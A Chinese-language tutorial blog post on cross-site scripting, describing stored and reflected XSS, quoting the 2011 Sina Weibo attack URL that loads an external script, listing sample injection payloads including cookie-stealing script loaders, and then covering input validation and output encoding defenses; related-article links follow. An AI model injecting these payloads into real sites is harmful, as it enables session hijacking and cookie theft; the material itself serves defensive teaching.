XSS (跨站脚本攻击)是什么?它的全名是:Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容,甚至其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。

XSS攻击有两种方法:

一类是来自内部的攻击,主要指的是利用网页自身的漏洞,将恶意脚本注入到网页,当用户访问此页面时,恶意脚本也会跟着执行,这样恶意脚本就能利用到用户的所有状态数据执行恶意操作,称为存储型XSS。2011年新浪微博的XSS攻击就是此类,主要是通过未过滤处理的URL中的参数来加载攻击者已写好的脚本,并且使用短链服务将URL伪装,然后通过诱人的话题欺骗用户访问该链接后在浏览器运行,达到攻击的目的。如将

http://163.fm/PxZHoxn指向

http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update。所以我们应该严防短链接。

它利用脚本提前闭合标签来达到执行该脚本的目的。

例如输入内容:

<script>alert(document.cookie)</script>

"/><script>alert(document.cookie)</script>

" οnlοad="jQuery.getScript('js文件地址')

" οnlοad="with(document)body.appendChild(createElement('script')).src='js文件地址'

< INPUT SRC=”javascript:alert(‘XSS’);”>

< IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>

<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>

< EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED> 嵌入flash,包含了XSS

<A HREF=”http://127.0.0.1/”>XSS</A>

另一类则是来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页(当然傻子才这么干),然后构造跨站脚本如收集cookie的JS上传到这个站点A上,通过目标服务器B的漏洞(如http://www.b.com?content=<script src=”www.a.com?hack.js”></script>)通过再结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开这个URL使JS执行发送cookie到A上。称之为反射型XSS。它的危害不及存储型XSS,因为只对当前页面访问产生影响,是一次性的。

如何防范?

1. 输入校验

对 用户的所有输入数据进行检测,比如过滤其中的“<”、“>”、“/”、双引号等可能导致脚本注入的特殊字符,或者过滤“script”、 “javascript”等脚本关键字,或者对输入数据的长度及格式进行限制等等。同时,我们也要考虑用户可能绕开ASCII码,使用十六进制编码如 “<</span>”(“<”)、“>”(“>”)等来输入脚本。因此,对用户输入的十六进制编码,我们也要进行相 应的过滤。只要开发人员能够严格检测每一处交互点,保证对所有用户可能的输入都进行检测和XSS过滤,就能够有效地阻止XSS攻击。

2. 输出编码

通过前面对XSS攻击的分析,我们可以看到,之所以会产生XSS攻击,就是因为Web应用程序将用户的输入直接嵌入到某个页面当中,作为该页面的HTML代 码的一部分。因此,当Web应用程序将用户的输入数据输出到目标页面中时,只要先对这些数据进行编码,然后再输出到目标页面中。这样,如果用户输入一些HTML的脚本,也会被当成普通的文字,而不会成为目标页面HTML代码的一部分得到执行。

3. 严防外部的Javascript

外部的Javascript一旦引入了,这些脚本就能够操纵你的HTML页面,窃取敏感信息或者发起钓鱼攻击等等。

【推荐】

之前涉及到网络安全方面的文章,关注微信后可以输入数字查阅:

010:再谈SESSION和COOKIE之间的区别与联系

021:struts漏洞

025:使用HttpOnly提升Cookie安全性

033:安全测试之前言

034:安全性测试之认证授权

035:安全测试之SQL注入

安全测试之XSS攻击相关推荐

  1. web安全测试之 xss攻击

    web安全测试之 xss攻击 软件测试资源分享| 免费软件测试资料 一. 背景知识 1. 什么是 XSS 攻击? XSS 攻击: 跨站脚本攻击(Cross Site Scripting) , 为不和层 ...

  2. 安全测试之xss攻击和mysql注入

    xss概念: xss(Cross Site Script)跨站脚本攻击,为不和层叠样式表(css)混淆,写为xss 存在位置:web应用系统最常见软件安全漏洞 后果:代码植入到系统页面,篡改数据.盗取 ...

  3. 渗透测试之XSS(跨站脚本攻击)

    文章目录 XSS 漏洞概述 XSS 分类 XSS 危害 XSS 漏洞的验证 XSS 的构造 XSS 的变形(绕过方式) Shellcode 的调用 远程调用JS windows.location.ha ...

  4. WEB三大攻击之—XSS攻击与防护

    From:https://www.daguanren.cc/post/xss-introduction.html XSS的背景与介绍 背景 随着互联网的发展,网站经历由单纯的只读模式到web2.0兴起 ...

  5. vue 如何防止xss攻击 框架_LearningNotes-1/Vue/Vue中防止XSS脚本攻击 at master · axuu/LearningNotes-1 · GitHub...

    Vue中防止XSS脚本攻击 最近写了一个博客评论模块,因为引入了表情包,所以就将原来的v-text的形式,改成了v-html,也就是渲染html标签,但是这样不可不免的会带来问题,就是XSS跨站脚本攻 ...

  6. AntiXSS - 支持Html同时防止XSS攻击

    跨站脚本攻击(XSS)已经不是什么新鲜的话题了,甚至很多大公司也为此吃尽苦头.最简单直接的防范方法,就是不允许任何html标签输入,对用户输入进行编码(htmlencode). 但是如果想用户输入支持 ...

  7. 如何php防止XSS攻击

    什么是XSS:这里通俗的讲,就像是SQL注入一样,XSS攻击也可以算是对HTML和JS的一种注入.你本来希望得到是从用户那得到一段有用的文本文字,但用户提交给你的却是别有用心的可执行javascrip ...

  8. 使用 PHP 构建的 Web 应用如何避免 XSS 攻击

    本文首先简单介绍开发测试人员如何对 Web 应用进行 XSS 漏洞测试,如何借助工具绕过客户端 JavaScript 校验输入恶意数据:然后针对使用 PHP 语言构建的 Web 站点,从在输出端对动态 ...

  9. 【原创】腾讯微博的XSS攻击漏洞

    相信大家都知道新浪微博在6月28日发生的XSS攻击事件了吧?在那晚里,大量新浪微博用户自动发送微博信息和自动关注一名叫"hellosamy"的用户. 究竟XSS攻击为什么能有这么大 ...

最新文章

  1. unet3 动态分辨率支持
  2. Windows 10累积更新发布:RS3正式版前最后一更
  3. fedora15换主题
  4. Go语言集合(Map)
  5. TCP/IP 三次握手和四次挥手
  6. groovy怎样从sql语句中截取表名_Mysql和SQL
  7. Diango博客--11.Nginx + Gunicorn + Supervisor 方式部署
  8. 3 设置网格数的大小_流体仿真中,六面体(Hex)网格的求解效率真的比四面体(Tet)高”很多”么?...
  9. delphi三方控件的安装方法
  10. C# WinForm开发系列 - Thread/Delegate/Event
  11. sql自动生成编码函数
  12. 计算机专业英语课后答案北京理工大学,计算机专业英语
  13. json文件使用tips
  14. 汽车系统英文缩写大全,值得收藏
  15. 阿里Java开发手册(2021最新终极版) 编程必备
  16. 什么是光电耦合器?光耦有哪些类型
  17. Python文件名繁体转简体
  18. 30 行代码实现蚂蚁森林自动收能量
  19. CES Asia展华为秀肌肉,布局智能互联生态
  20. vscode Android调试

热门文章

  1. Linux(Windows)下如何改变网卡的LinkSpeed工作模式
  2. Linux中mmap与munmap函数系统调用
  3. golang的包管理系统比较
  4. RequireJs的使用和快速理解
  5. RHCS创建高可用性群集Apache服务器
  6. 富文本编辑_博客的后台富文本编辑和阅读计数
  7. java内连接外连接_SQL中的内连接与外连接--Java学习网
  8. mysql反弹提权_MySQL数据库反弹端口连接提权
  9. gcc离线安装 ubuntu 不用编译_Ubuntu快速搭建C++开发环境(VS Code编辑器)
  10. 激光打标软件_走向工业自动化生产之路——激光飞行打标